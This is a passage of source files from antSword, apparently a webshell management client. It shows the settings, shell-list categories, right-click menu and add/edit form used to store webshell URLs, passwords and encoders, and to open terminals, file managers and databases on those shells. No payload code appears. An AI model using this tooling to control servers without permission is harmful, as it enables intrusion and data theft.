}\n\n}\n\nmodule.exports = Settings;\n"
  },
  {
    "path": "antSword/source/modules/settings/language.js",
    "content": "/**\n * 语言设置\n */\n\nconst LANG = antSword['language']['settings']['language'];\nconst LANG_T = antSword['language']['toastr'];\n\nclass Language {\n\n  constructor(sidebar) {\n    sidebar.addItem({\n      id: 'language',\n      text: `<i class=\"fa fa-language\"></i> ${LANG['title']}`\n    });\n    const cell = sidebar.cells('language');\n\n    // 工具栏\n    const toolbar = cell.attachToolbar();\n    toolbar.loadStruct([\n      { id: 'save', type: 'button', text: LANG['toolbar']['save'], icon: 'save' },\n      { type: 'separator' }\n    ]);\n\n    // 表单\n    const _language = antSword['storage']('language', false, 'en');\n    const form = cell.attachForm([\n      { type: 'settings', position: 'label-left', labelWidth: 100, inputWidth: 150 },\n      { type: 'block', inputWidth: 'auto', offsetTop: 12, list: [\n        { type: 'combo', label: LANG['form']['label'], readonly: true, name: 'language',\n        options: (() => {\n          let _ = [];\n          for (let l in antSword['language']['__languages__']) {\n            _.push({\n              text: antSword['language']['__languages__'][l],\n              value: l,\n              selected: _language === l\n            });\n          }\n          return _;\n        })() }\n      ]}\n    ], true);\n\n    // 工具栏点击事件\n    toolbar.attachEvent('onClick', (id) => {\n      switch(id) {\n        case 'save':\n          const language = form.getValues()['language'];\n          // 保存设置\n          localStorage.setItem('language', language);\n          toastr.success(LANG['success'], LANG_T['success']);\n          // 重启应用\n          layer.confirm(LANG['confirm']['content'], {\n            icon: 2, shift: 6,\n            title: LANG['confirm']['title']\n          }, (_) => {\n            location.reload();\n          });\n          break;\n      }\n    });\n  }\n}\n\nmodule.exports = Language;\n"
  },
  {
    "path": "antSword/source/modules/settings/update.js",
    "content": "/**\n * 检查更新模块\n */\n\nconst LANG = antSword['language']['settings']['update'];\nconst LANG_T = antSword['language']['toastr'];\n\nclass Update {\n  constructor(sidebar) {\n    sidebar.addItem({\n      id: 'update',\n      text: `<i class=\"fa fa-cloud-download\"></i> ${LANG['title']}`\n    });\n    const cell = sidebar.cells('update');\n\n    // 初始化toolbar\n    const toolbar = cell.attachToolbar();\n    toolbar.loadStruct([\n      {\n        id: 'check',\n        type: 'button',\n        // 调试或者windows平台不支持更新\n        disabled: antSword['package']['debug'] || process.platform === 'win32',\n        text: LANG['toolbar']['check'], icon: 'check-square-o'\n      }, { type: 'separator' }\n    ]);\n\n    // toolbar点击事件\n    toolbar.attachEvent('onClick', (id) => {\n      switch(id) {\n        case 'check':\n          this.checkUpdate();\n          break;\n      }\n    });\n\n    // 显示当前版本号\n    cell.attachHTMLString(`\n      ${LANG['current']}: ${antSword['package']['version']}\n    `);\n\n    this.cell = cell;\n  }\n\n  /**\n   * 检查更新\n   * @return {None} [description]\n   */\n  checkUpdate() {\n    this.cell.progressOn();\n    toastr.info(LANG['check']['ing'], LANG_T['info']);\n    // 后台检查更新\n    antSword['ipcRenderer']\n      .once('update-check', (event, ret) => {\n        this.cell.progressOff();\n        let info = ret['retVal'];\n        // 木有更新\n        if (!ret['hasUpdate']) {\n          return typeof info === 'string'\n            ? toastr.error(LANG['check']['fail'](info), LANG_T['error'])\n            : toastr.info(LANG['check']['none'](info['version']), LANG_T['info']);\n        }\n        // 发现更新\n        toastr.success(LANG['check']['found'](info['version']), LANG_T['success']);\n        // 更新来源html\n        let sources_html = `<select id=\"ant-update-source\">`;\n        for (let s in info['update']['sources']) {\n          sources_html += `<option value=\"${s}\">${s}</option>`;\n        }\n        sources_html += `</select>`;\n        // 提示更新\n        layer.open({\n          type: 1,\n          shift: 2,\n          skin: 'ant-update',\n          btn: [LANG['prompt']['btns']['ok'], LANG['prompt']['btns']['no']],\n          closeBtn: 0,\n          title: `<i class=\"fa fa-cloud-download\"></i> ${LANG['prompt']['title']}[v${info['version']}]`,\n          content: `\n            <strong>${LANG['prompt']['changelog']}</strong>\n            <ol>\n              <li>${info['update']['logs'].split('\\n').join('</li><li>')}\n            </ol>\n            <strong>${LANG['prompt']['sources']}</strong>${sources_html}\n          `,\n          yes: () => {\n            // 获取更新选择地址\n            const download_source = $('#ant-update-source').val();\n            // 开始更新\n            // 更新动画\n            this.updateLoading();\n            // 通知后台\n            antSword['ipcRenderer']\n              .once('update-download', (event, ret) => {\n                // 下载失败\n                console.log(ret);\n                if (!ret['done']) {\n                  if (typeof ret['retVal'] === 'object') {\n                    switch(ret['retVal']['type']) {\n                      case 'md5':\n                        this.updateFail(LANG['prompt']['fail']['md5']);\n                        break;\n                      case 'unzip':\n                        this.updateFail(LANG['prompt']['fail']['unzip'](ret['retVal']['err']));\n                        break;\n                      default:\n                        this.updateFail(ret['retVal']);\n                    }\n                  } else {\n                    this.updateFail(ret['retVal']);\n                  }\n                  return;\n                }\n                this.updateSuccess();\n              })\n              .send('update-download', download_source);\n          }\n        });\n\n      })\n      .send('update-check', {\n        local_ver: antSword['package']['version']\n      });\n  }\n\n  /**\n   * 更新动画进度\n   * @return {[type]} [description]\n   */\n  updateLoading() {\n    // 删除按钮\n    $('.layui-layer-btn').remove();\n    // 加载动画\n    $('.layui-layer-content').html(`\n      <div class=\"pacman\">\n        <div></div>\n        <div></div>\n        <div></div>\n        <div></div>\n        <div></div>\n      </div>\n      <p align=\"center\"><strong>${LANG['message']['ing']}</strong></p>\n    `);\n  }\n\n  /**\n   * 更新失败提示界面\n   * @param  {String} tip 失败信息\n   * @return {[type]}     [description]\n   */\n  updateFail(tip) {\n    $('.layui-layer-content').html(`\n      <div align=\"center\" style=\"color: red\">\n        <i class=\"fa fa-times-circle update-icon\" />\n        <p><strong>${LANG['message']['fail'](tip)}</strong></p>\n      </div>\n    `);\n    toastr.error(LANG['message']['fail'](tip), LANG_T['error']);\n    setTimeout(layer.closeAll, 1024 * 5);\n  }\n\n  /**\n   * 更新成功提示界面\n   * @return {None} [description]\n   */\n  updateSuccess() {\n    $('.layui-layer-content').html(`\n      <div align=\"center\" style=\"color: green\">\n        <i class=\"fa fa-check-circle update-icon\" />\n        <p><strong>${LANG['message']['success']}</strong></p>\n      </div>\n    `);\n    toastr.success(LANG['message']['success'], LANG_T['success']);\n    setTimeout(() => {\n      antSword['ipcRenderer'].send('quit');\n    }, 1024 * 3);\n  }\n}\n\nexport default Update;\n"
  },
  {
    "path": "antSword/source/modules/shellmanager/category/index.js",
    "content": "/**\n * shellmanager::category\n */\n\nconst LANG = antSword['language']['shellmanager']['category'];\nconst Toolbar = require('./toolbar');\nconst Sidebar = require('./sidebar');\n\nclass Category {\n  /**\n   * 初始化函数\n   * @param  {Object} cell dhtmlx.cell对象\n   * @param  {Object} top  顶层对象\n   * @return {[type]}      [description]\n   */\n  constructor(cell, top) {\n    this.top = top;\n    // 设置cell样式\n    cell.setWidth(222);\n    cell.fixSize(1, 0);\n\n    this.cell = cell;\n    this.toolbar = new Toolbar(cell, this);\n    this.sidebar = new Sidebar(cell, this);\n\n    this.updateHeader();\n  }\n\n  /**\n   * 更新标题\n   * @return {[type]}     [description]\n   */\n  updateHeader() {\n    const num = this.sidebar.getAllItems().length;\n    this.cell.setText(`<i class=\"fa fa-folder\"></i> ${LANG['title']} (${num})`);\n  }\n}\n\nmodule.exports = Category;\n"
  },
  {
    "path": "antSword/source/modules/shellmanager/category/sidebar.js",
    "content": "/**\n * 分类侧边栏\n */\n\nconst LANG = antSword['language']['shellmanager']['category'];\n\nclass Sidebar {\n  /**\n   * 初始化函数\n   * @param  {object} cell dhtmlx.cell对象\n   * @param  {object} top  父层category对象\n   * @return {[type]}      [description]\n   */\n  constructor(cell, top) {\n    this.top = top;\n    const sidebar = cell.attachSidebar({\n      template: 'text',\n      width: 222\n    });\n    // 默认分类\n    sidebar.addItem({\n      id: 'default',\n      bubble: 0,\n      // selected: true,\n      text: `<i class=\"fa fa-folder-o\"></i> ${LANG['default']}</i>`\n    });\n    // sidebar点击事件\n    sidebar.attachEvent('onSelect', this._onSelect.bind(this));\n\n    return sidebar;\n  }\n\n  /**\n   * 点击事件\n   * @param  {number} id [description]\n   * @return {[type]}    [description]\n   */\n  _onSelect(id) {\n    // 更新工具栏按钮状态\n    ['del', 'rename'].map((_) => {\n      this.top.toolbar[\n        id === 'default' ? 'disableItem' : 'enableItem'\n      ](_)\n    });\n    // 重新加载数据\n    this.top.top.reloadData({\n      category: id\n    });\n  }\n}\n\nmodule.exports = Sidebar;\n"
  },
  {
    "path": "antSword/source/modules/shellmanager/category/toolbar.js",
    "content": "/**\n * 工具栏\n */\n\nconst LANG = antSword['language']['shellmanager']['category'];\nconst LANG_T = antSword['language']['toastr'];\n\nclass Toolbar {\n  /**\n   * 初始化函数\n   * @param  {Object} cell dhtmlx.cell对象\n   * @param  {Object} top  顶层父对象\n   * @return {[type]}      [description]\n   */\n  constructor(cell, top) {\n    this.top = top;\n    const toolbar = cell.attachToolbar();\n    this.parseToolbar(toolbar);\n    toolbar.attachEvent('onClick', this._onClick.bind(this));\n    return toolbar;\n  }\n\n  /**\n   * 解析工具栏按钮\n   * @param  {object} toolbar\n   * @return {[type]} [description]\n   */\n  parseToolbar(toolbar) {\n    let _tbObj = [];\n    [\n      // id&&lang, icon, disabled\n      ['add', 'plus-circle'],\n      false,\n      ['rename', 'font', true],\n      false,\n      ['del', 'trash', true]\n    ].map((_) => {\n      // 分隔符\n      if (!_) {\n        return _tbObj.push({\n          type: 'separator'\n        })\n      }\n      let _tb = {\n        id: _[0],\n        type: 'button',\n        text: `<i class=\"fa fa-${_[1]}\"></i> ${LANG['toolbar'][_[0]]}`\n      }\n      // 禁用\n      if (_[2]) {\n        _tb['disabled'] = true;\n      }\n      _tbObj.push(_tb);\n    });\n    toolbar.loadStruct(_tbObj);\n  }\n\n  /**\n   * 工具栏点击事件\n   * @param  {[type]} id [description]\n   * @return {[type]}    [description]\n   */\n  _onClick(id) {\n    switch (id) {\n      case 'add':\n        this._addCategory();\n        break;\n      case 'del':\n        this._delCategory();\n        break;\n      case 'rename':\n        this._renameCategory();\n        break;\n    }\n  }\n\n  /**\n   * 删除分类（会同时删除该分类下的所有数据\n   * @return {[type]} [description]\n   */\n  _delCategory() {\n    // 获取当前选择的分类\n    const category = this.top.sidebar.getActiveItem();\n    // 删除提示框\n    layer.confirm(\n      LANG['del']['confirm'], {\n        icon: 2, shift: 6,\n        title: `<i class=\"fa fa-trash\"></i> ${LANG['del']['title']}`\n      }, (_) => {\n        layer.close(_);\n        // 1. 删除分类数据\n        const ret = antSword['ipcRenderer'].sendSync('shell-clear', category);\n        if (typeof(ret) === 'number') {\n          toastr.success(LANG['del']['success'](category), LANG_T['success']);\n          // 2. 跳转到默认分类\n          this.top.sidebar.callEvent('onSelect', ['default']);\n          // 3. 删除侧边栏\n          this.top.sidebar.items(category).remove();\n          // 4. 更新侧边栏标题\n          setTimeout(this.top.updateHeader.bind(this.top), 200);\n        }else{\n          return toastr.error(LANG['del']['error'](category, ret.toString()), LANG_T['error']);\n        }\n      }\n    );\n  }\n\n  /**\n   * 添加分类\n   * @return {[type]} [description]\n   */\n  _addCategory() {\n    this.categoryForm(\n      `<i class=\"fa fa-plus-circle\"></i> ${LANG['add']['title']}`\n    ).then((v) => {\n      this.top.sidebar.callEvent('onSelect', [v]);\n    })\n  }\n\n  /**\n   * 重命名分类\n   * @return {[type]} [description]\n   */\n  _renameCategory() {\n    const _category = this.top.sidebar.getActiveItem();\n    this.categoryForm(\n      `<i class=\"fa fa-font\"></i> ${LANG['rename']['title']}`,\n      _category\n    ).then((v) => {\n      // 禁止的分类名\n      if (v === 'default') {\n        return toastr.warning(LANG['rename']['disable'], LANG_T['warning']);\n      };\n      // 判断分类是否存在\n      if (this.top.sidebar.items(v)) {\n        return toastr.warning(LANG['rename']['exists'], LANG_T['warning']);\n      };\n      // 更新数据库\n      const ret = antSword['ipcRenderer'].sendSync('shell-renameCategory', {\n        oldName: _category,\n        newName: v\n      });\n      if (typeof ret === 'number') {\n        // 更新成功\n        toastr.success(LANG['rename']['success'], LANG_T['success']);\n        // 删除旧分类\n        this.top.sidebar.items(_category).remove();\n        // 添加新分类\n        this.top.sidebar.addItem({\n          id: v,\n          bubble: ret,\n          text: `<i class=\"fa fa-folder-o\"></i> ${v}`\n        });\n        // 跳转分类\n        setTimeout(() => {\n          this.top.sidebar.items(v).setActive();\n        }, 233);\n      }else{\n        toastr.error(LANG['rename']['error'], LANG_T['error']);\n      }\n    })\n  }\n\n  /**\n   * 分类表单\n   * @param  {string} title 标题\n   * @param  {string} value 默认值\n   * @return {[type]}       [description]\n   */\n  categoryForm(title, value = new Date().format('yyyyMMdd')) {\n    return new Promise((res, rej) => {\n      layer.prompt({\n        title: title,\n        value: value\n      }, (val, idx, ele) => {\n        layer.close(idx);\n        return res(val);\n      });\n    })\n  }\n}\n\nmodule.exports = Toolbar;\n"
  },
  {
    "path": "antSword/source/modules/shellmanager/data.js",
    "content": "/**\n * shell数据操作模块\n */\n\nmodule.exports = {\n  /**\n   * 获取Shell数据\n   * @param  {Object} arg 查询参数\n   * @return {[type]}     [description]\n   */\n  get: (arg = {}) => {\n    const ret = antSword['ipcRenderer'].sendSync('shell-find', arg);\n    // 解析数据\n    let data = [];\n    let category = {};\n    ret.map((_) => {\n      let _c = _['category'] || 'default';\n      category[_c] = category[_c] || 0;\n      category[_c] ++;\n      if ((arg instanceof Object) && arg['category'] && arg['category'] !== _['category']) {\n        return;\n      };\n      if (!arg && _['category'] !== 'default') {\n        return;\n      };\n      data.push({\n        id: _['_id'],\n        data: [\n          _['url'], _['ip'], _['addr'], _['note'],\n          new Date(_['ctime']).format('yyyy/MM/dd hh:mm:ss'),\n          new Date(_['utime']).format('yyyy/MM/dd hh:mm:ss')\n        ]\n      });\n    });\n    // 如果分类没数据\n    if ((arg instanceof Object) && arg['category'] && !category[arg['category']]) {\n      category[arg['category']] = 0;\n    };\n    if (typeof(category['default']) === 'object') {\n      category['default'] = 0;\n    };\n    return {\n      data: data,\n      category: category\n    }\n  }\n}\n"
  },
  {
    "path": "antSword/source/modules/shellmanager/index.js",
    "content": "/**\n * Shell数据管理模块\n * 重构：2016/06/20\n */\n\nconst Data = require('./data');\nconst List = require('./list/');\nconst Category = require('./category/');\n\nclass ShellManager {\n  constructor() {\n    const tabbar = antSword['tabbar'];\n    tabbar.addTab(\n      'tab_shellmanager',\n      '<i class=\"fa fa-th-large\"></i>',\n      null, null, true, false\n    );\n    const cell = tabbar.cells('tab_shellmanager');\n    const layout = cell.attachLayout('2U');\n    // 初始化左侧栏：数据\n    this.list = new List(layout.cells('a'), this);\n    // 初始化右侧栏：目录\n    this.category = new Category(layout.cells('b'), this);\n\n    this.reloadData();\n  }\n\n  /**\n   * 重新加载shell数据\n   * @param  {object} arg = {} 查询参数\n   * @return {[type]}     [description]\n   */\n  reloadData(arg = {}) {\n    const _data = Data.get(arg);\n    // 刷新UI::数据\n    this.list.grid.clearAll();\n    this.list.grid.parse({\n      'rows': _data['data']\n    }, 'json');\n    // 刷新UI::分类\n    for (let _ in _data['category']) {\n      // 目录存在，则更新bubble\n      if (!!this.category['sidebar'].items(_)) {\n        this.category['sidebar'].items(_).setBubble(_data['category'][_]);\n        continue;\n      }\n      // 目录不存在，则添加\n      this.category['sidebar'].addItem({\n        id: _,\n        bubble: _data['category'][_],\n        text: `<i class=\"fa fa-folder-o\"></i> ${_}`\n      });\n    }\n    // 加载分类数据\n    this.category.sidebar.items(\n      arg['category'] || 'default'\n    ).setActive(true);\n    // 更新标题\n    this.category.updateHeader();\n    this.list.updateHeader(_data['data'].length);\n  }\n}\n\nmodule.exports = ShellManager;\n"
  },
  {
    "path": "antSword/source/modules/shellmanager/list/contextmenu.js",
    "content": "/**\n * 右键菜单\n */\n\nconst Data = require('../data');\nconst Form = require('./form');\nconst ViewSite = require('../../viewsite/');\nconst Terminal = require('../../terminal/');\nconst Database = require('../../database/');\nconst FileManager = require('../../filemanager/');\nconst LANG = antSword['language']['shellmanager'];\nconst LANG_T = antSword['language']['toastr'];\n\nclass ContextMenu {\n  /**\n   * 初始化函数\n   * @param  {array} data  选中的数据\n   * @param  {object} event 右键事件对象\n   * @return {[type]}       [description]\n   */\n  constructor(data, event, id, ids) {\n    let selectedData = !id || ids.length !== 1;\n    let selectedMultiData = !id;\n\n    // 解析菜单事件\n    let menuItems = [];\n    [\n      // text, icon, disabled, action, submenu\n      ['terminal', 'terminal', selectedData, () => {\n        new Terminal(data[0])\n      }],\n      ['filemanager', 'folder-o', selectedData, () => {\n        new FileManager(data[0]);\n      }],\n      ['database', 'database', selectedData, () => {\n        new Database(data[0]);\n      }],\n      ['viewsite', 'chrome', selectedData, () => {\n        new ViewSite(data[0]);\n      }],\n      false,\n      ['plugin', 'folder-o', selectedMultiData, null, this.parsePlugContextMenu(data)],\n      [\n        'pluginStore', 'cart-arrow-down', false,\n        antSword['menubar'].run.bind(antSword['menubar'], 'plugin-store')\n      ],\n      false,\n      ['add', 'plus-circle', false, this.addData.bind(this)],\n      ['edit', 'edit', selectedData, this.editData.bind(this, data[0])],\n      ['delete', 'remove', selectedMultiData, this.delData.bind(this, ids)],\n      false,\n      ['move', 'share-square', selectedMultiData, null, this.parseMoveCategoryMenu(ids)],\n      ['search', 'search', true],\n      false,\n      ['clearCache', 'trash-o', selectedData, this.clearCache.bind(this, id)],\n      ['clearAllCache', 'trash', false, this.clearAllCache.bind(this)]\n    ].map((menu) => {\n      // 分隔符号\n      if (!menu) {\n        return menuItems.push({\n          divider: true\n        })\n      }\n      let menuObj = {\n        text: LANG['contextmenu'][menu[0]],\n        icon: `fa fa-${menu[1]}`,\n        disabled: menu[2]\n      }\n      // 点击事件\n      if (menu[3] instanceof Function) {\n        menuObj['action'] = menu[3];\n      }\n      // 子菜单\n      if (Array.isArray(menu[4])) {\n        menuObj['subMenu'] = menu[4];\n      }\n      menuItems.push(menuObj);\n    });\n    // 弹出菜单\n    bmenu(menuItems, event);\n  }\n\n  /**\n   * 把插件列表解析成右键菜单所需要的数据\n   * @return {array} [description]\n   */\n  parsePlugContextMenu(data) {\n    let info = data[0];\n    let infos = data;\n    // 1. 遍历插件分类信息\n    let plugins = {\n      default: []\n    };\n    for (let _ in antSword['plugins']) {\n      let p = antSword['plugins'][_];\n      let c = p['info']['category'] || 'default';\n      plugins[c] = plugins[c] || [];\n      plugins[c].push(p);\n    }\n    // 2. 解析分类数据\n    let pluginItems = [];\n    for (let _ in plugins) {\n      // 0x01 添加分类目录\n      pluginItems.push({\n        text: antSword.noxss(_ === 'default' ? LANG['contextmenu']['pluginDefault'] : _),\n        icon: 'fa fa-folder-open-o',\n        disabled: plugins[_].length === 0,\n        subMenu: ((plugs) => {\n          let plugItems = [];\n          // 0x02 添加目录数据\n          plugs.map((p) => {\n            plugItems.push({\n              text: antSword.noxss(p['info']['name']),\n              icon: `fa fa-${p['info']['icon'] || 'puzzle-piece'}`,\n              disabled: infos.length > 1 ? (() => {\n                let ret = false;\n                // 判断脚本是否支持，不支持则禁止\n                if (p['info']['scripts'] && p['info']['scripts'].length > 0) {\n                  infos.map((_info) => {\n                    if (p['info']['scripts'].indexOf(_info['type']) === -1) {\n                      // 如果检测到不支持的脚本，则禁止\n                      ret = true;\n                    }\n                  });\n                }\n                // 判断是否支持多目标执行\n                return ret || !p['info']['multiple'];\n              })() : info && (p['info']['scripts'] || []).indexOf(info['type']) === -1,\n              action: ((plug) => () => {\n                // 如果没有加载到内存，则加载\n                if (!antSword['plugins'][plug['_id']]['module']) {\n                  antSword['plugins'][plug['_id']]['module'] = require(\n                    path.join(plug['path'], plug['info']['main'] || 'index.js')\n                  );\n                }\n                // 执行插件\n                new antSword['plugins'][plug['_id']]['module'](\n                  infos.length === 1 && !plug['info']['multiple'] ? info : infos\n                );\n              })(p)\n            })\n          });\n          return plugItems;\n        })(plugins[_])\n      })\n    }\n    return pluginItems;\n  }\n\n  /**\n   * 移动数据右键菜单\n   * @return {array} [description]\n   */\n  parseMoveCategoryMenu(ids) {\n    // 获取分类列表\n    const items = antSword.modules.shellmanager.category.sidebar.getAllItems();\n    // 当前选中分类\n    const category = antSword.modules.shellmanager.category.sidebar.getActiveItem();\n    // 移动事件\n    const moveHandler = (c) => {\n      const ret = antSword['ipcRenderer'].sendSync('shell-move', {\n        ids: ids,\n        category: c\n      });\n      if (typeof(ret) === 'number') {\n        toastr.success(LANG['list']['move']['success'](ret), LANG_T['success']);\n        antSword.modules.shellmanager.reloadData();\n        antSword.modules.shellmanager.category.sidebar.callEvent('onSelect', [c])\n      }else{\n        toastr.error(LANG['list']['move']['error'](ret), LANG_T['error']);\n      }\n    }\n    // 解析菜单\n    let ret = [];\n    items.map((_) => {\n      ret.push({\n        text: _ === 'default' ? LANG['category']['default'] : _,\n        icon: 'fa fa-folder-o',\n        disabled: category === _,\n        action: moveHandler.bind(null, _)\n      });\n    });\n    return ret;\n  }\n\n  /**\n   * 添加数据\n   */\n  addData() {\n    new Form({\n      title: LANG['list']['add']['title'],\n      icon: 'plus-circle',\n      text: LANG['list']['add']['toolbar']['add']\n    }, {}, (data) => {\n      return new Promise((res, rej) => {\n        // 获取当前分类\n        data['base']['category'] = antSword.modules.shellmanager.category.sidebar.getActiveItem();\n        // 通知后台插入数据\n        const ret = antSword.ipcRenderer.sendSync('shell-add', data);\n        if (ret instanceof Object) {\n          // 重新加载数据\n          antSword.modules.shellmanager.reloadData({\n            category: data['base']['category']\n          });\n          return res(LANG['list']['add']['success']);\n        } else {\n          return rej(LANG['list']['add']['error'](ret.toString()));\n        }\n      });\n    })\n  }\n\n  /**\n   * 编辑数据\n   * @param  {Object} info 当前选中的数据\n   * @return {[type]}    [description]\n   */\n  editData(info) {\n    new Form({\n      title: LANG['list']['edit']['title'](info.url),\n      icon: 'save',\n      text: LANG['list']['edit']['toolbar']['save']\n    }, info, (data) => {\n      return new Promise((res, rej) => {\n        // 通知后台更新数据\n        const ret = antSword.ipcRenderer.sendSync('shell-edit', {\n          old: info,\n          new: data\n        });\n        if (ret === 1) {\n          // 重新加载数据\n          antSword.modules.shellmanager.reloadData({\n            category: info['category']\n          });\n          return res(LANG['list']['edit']['success']);\n        } else {\n          return rej(LANG['list']['edit']['error'](ret.toString()));\n        }\n      })\n    })\n  }\n\n  /**\n   * 删除数据\n   * @param  {array} ids [description]\n   * @return {[type]}     [description]\n   */\n  delData(ids) {\n    layer.confirm(\n    LANG['list']['del']['confirm'](ids.length), {\n      icon: 2, shift: 6,\n      title: `<i class=\"fa fa-trash\"></i> ${LANG['list']['del']['title']}`\n    }, (_) => {\n      layer.close(_);\n      const ret = antSword['ipcRenderer'].sendSync('shell-del', ids);\n      if (typeof(ret) === 'number') {\n        toastr.success(LANG['list']['del']['success'](ret), LANG_T['success']);\n        // 更新UI\n        antSword.modules.shellmanager.reloadData({\n          category: antSword.modules.shellmanager.category.sidebar.getActiveItem()\n        });\n      }else{\n        toastr.error(LANG['list']['del']['error'](ret.toString()), LANG_T['error']);\n      }\n    });\n  }\n\n  /**\n   * 搜索数据\n   * @return {[type]} [description]\n   */\n  searchData() {\n\n  }\n\n  /**\n   * 清空缓存\n   * @param  {number} id ID\n   * @return {[type]}     [description]\n   */\n  clearCache(id) {\n    layer.confirm(\n    LANG['list']['clearCache']['confirm'], {\n      icon: 2, shift: 6,\n      title: `<i class=\"fa fa-trash\"></i> ${LANG['list']['clearCache']['title']}`\n    }, (_) => {\n      layer.close(_);\n      const ret = antSword['ipcRenderer'].sendSync('cache-clear', {\n        id: id\n      });\n      if (ret === true) {\n        toastr.success(LANG['list']['clearCache']['success'], LANG_T['success']);\n      }else{\n        toastr.error(\n          LANG['list']['clearCache']['error'](\n            ret['errno'] === -2 ? 'Not cache file.' : ret['errno']\n          ), LANG_T['error']\n        );\n      }\n    });\n  }\n\n  /**\n   * 清空所有缓存\n   * @return {[type]} [description]\n   */\n  clearAllCache() {\n    layer.confirm(\n    LANG['list']['clearAllCache']['confirm'], {\n      icon: 2, shift: 6,\n      title: `<i class=\"fa fa-trash\"></i> ${LANG['list']['clearAllCache']['title']}`\n    }, (_) => {\n      layer.close(_);\n      const ret = antSword['ipcRenderer'].sendSync('cache-clearAll');\n      if (ret === true) {\n        toastr.success(LANG['list']['clearAllCache']['success'], LANG_T['success']);\n      }else{\n        toastr.error(LANG['list']['clearAllCache']['error'](ret), LANG_T['error']);\n      }\n    });\n  }\n}\n\nmodule.exports = ContextMenu;\n"
  },
  {
    "path": "antSword/source/modules/shellmanager/list/form.js",
    "content": "/**\n * 添加/编辑数据表单\n */\n\nconst LANG_T = antSword['language']['toastr'];\nconst LANG = antSword['language']['shellmanager'];\nconst ENCODES = require('../../../base/encodes');\n\nclass Form {\n  /**\n   * 初始化函数\n   * @param  {object} opt ui配置\n   * @param  {object} arg = {} 默认数据\n   * @param  {function} callback 点击按钮后回调数据\n   */\n  constructor(opt, arg = {}, callback = false) {\n    // 创建win窗口\n    const win = this._createWin(opt);\n    // 创建toolbar工具栏\n    this.toolbar = this._createToolbar(win, opt);\n    // 创建表单分隔accordion\n    this.accordion = this._createAccordion(win);\n    // 创建表单\n    this.baseForm = this._createBaseForm(arg);\n    this.httpForm = this._createHttpForm(arg);\n    this.otherForm = this._createOtherForm(arg);\n\n    // toolbar点击事件\n    this.toolbar.attachEvent('onClick', (id) => {\n      if (id === 'clear') {\n        return this.baseForm.clear();\n      }\n      // 检测表单数据\n      if (\n        !this.baseForm.validate() ||\n        !this.httpForm.validate() ||\n        !this.otherForm.validate()\n      ) {\n        return toastr.warning(LANG['list']['add']['warning'], LANG_T['warning']);\n      };\n      // 回调数据\n      if (callback) {\n        win.progressOn();\n        setTimeout(() => {\n          callback(this._parseFormData(\n            this.baseForm.getValues(),\n            this.httpForm.getValues(),\n            this.otherForm.getValues()\n          )).then((msg) => {\n            // 添加/保存完毕后回调\n            win.close();\n            toastr.success(msg, LANG_T['success']);\n          }).catch((msg) => {\n            // 添加/保存错误\n            win.progressOff();\n            toastr.error(msg, LANG_T['error']);\n          });\n        }, 100);\n      };\n    });\n  }\n\n  /**\n   * 创建win窗口\n   * @param  {object} opts = {} 窗口属性(title,width,height)\n   * @return {object}      win\n   */\n  _createWin(opts = {}) {\n    let _id = String(Math.random()).substr(5, 10);\n    // 默认配置\n    let opt = Object.assign({\n      title: opts['title'] || 'Window:' + _id,\n      width: 550, height: 450\n    }, opts);\n\n    // 创建窗口\n    let win = antSword.modules.shellmanager.list.win;\n    if (!win) {\n      win = new dhtmlXWindows();\n      win.attachViewportTo(antSword.modules.shellmanager.list.cell.cell);\n      antSword.modules.shellmanager.list.win = win;\n    }\n    let _win = win.createWindow(_id, 0, 0, opt['width'], opt['height']);\n    _win.setText(opt['title']);\n    _win.centerOnScreen();\n    _win.button('minmax').show();\n    _win.button('minmax').enable();\n\n    return _win;\n  }\n\n  /**\n   * 创建工具栏\n   * @param  {object} win [description]\n   * @param  {object} opt ui配置\n   * @return {[type]}     [description]\n   */\n  _createToolbar(win, opt) {\n    const toolbar = win.attachToolbar();\n    toolbar.loadStruct([{\n      id: 'act',\n      type: 'button',\n      icon: opt['icon'],\n      text: opt['text']\n    }, {\n      type: 'separator'\n    }, {\n      id: 'clear',\n      type: 'button',\n      icon: 'remove',\n      text: LANG['list']['add']['toolbar']['clear']\n    }]);\n    return toolbar;\n  }\n\n  /**\n   * 创建Accordion\n   * @param  {[type]} win [description]\n   * @return {[type]}     [description]\n   */\n  _createAccordion(win) {\n    const accordion = win.attachAccordion({\n      items: [{\n        id: 'base',\n        text: `<i class=\"fa fa-file-text\"></i> ${LANG['list']['accordion']['base']}`\n      }, {\n        id: 'http',\n        text: `<i class=\"fa fa-edge\"></i> ${LANG['list']['accordion']['http']}`\n      }, {\n        id: 'other',\n        text: `<i class=\"fa fa-cogs\"></i> ${LANG['list']['accordion']['other']}`\n      }]});\n    return accordion;\n  }\n\n  /**\n   * 创建基础表单\n   * @param {object} arg 默认表单数据\n   * @return {[type]}     [description]\n   */\n  _createBaseForm(arg) {\n    const opt = Object.assign({}, {\n      url: '',\n      pwd: '',\n      note: '',\n      type: 'php',\n      encode: 'utf8',\n      encoder: 'default'\n    }, arg);\n    const form = this.accordion.cells('base').attachForm([\n      { type: 'settings', position: 'label-left', labelWidth: 80, inputWidth: 400 },\n      { type: 'block', inputWidth: 'auto', offsetTop: 12, list: [\n        {\n          type: 'input', label: LANG['list']['add']['form']['url'],\n          name: 'url', required: true, value: opt.url\n        }, {\n          type: 'input', label: LANG['list']['add']['form']['pwd'],\n          name: 'pwd', required: true, value: opt.pwd\n        },{\n          type: 'input', label: LANG['list']['add']['form']['note'],\n          name: 'note', value: opt.note\n        },  {\n          type: 'combo', label: LANG['list']['add']['form']['encode'],\n          name: 'encode', readonly: true, options: this._parseEncodes(opt.encode)\n        }, {\n          type: 'combo', label: LANG['list']['add']['form']['type'],\n          name: 'type', readonly: true, options: this._parseTypes(opt.type, opt.encoder)\n        }\n      ] }\n    ], true);\n    return form;\n  }\n\n  /**\n   * 解析编码列表\n   * @param {String} _default 默认编码器\n   * @return {array} [description]\n   */\n  _parseEncodes(_default = 'utf8') {\n    let ret = [];\n    ENCODES.map((_) => {\n      ret.push({\n        text: _, value: _,\n        selected: _ === _default.toUpperCase()\n      });\n    });\n    return ret;\n  }\n\n  /**\n   * 解析脚本支持列表\n   * @param {String} _default 默认类型\n   * @param {String} _encoder 默认编码器\n   * @return {array} [description]\n   */\n  _parseTypes(_default = 'php', _encoder = 'default') {\n    let ret = [];\n    for (let c in antSword['core']) {\n      // 加载默认编码器和用户自定义编码器\n      let encoders = antSword['core'][c].prototype.encoders.concat(antSword['encoders'][c]);\n      ret.push({\n        text: c.toUpperCase(), value: c,\n        selected: c === _default,\n        list: ((c) => {\n          let _ = [\n            { type: 'settings', position: 'label-right', offsetLeft: 60, 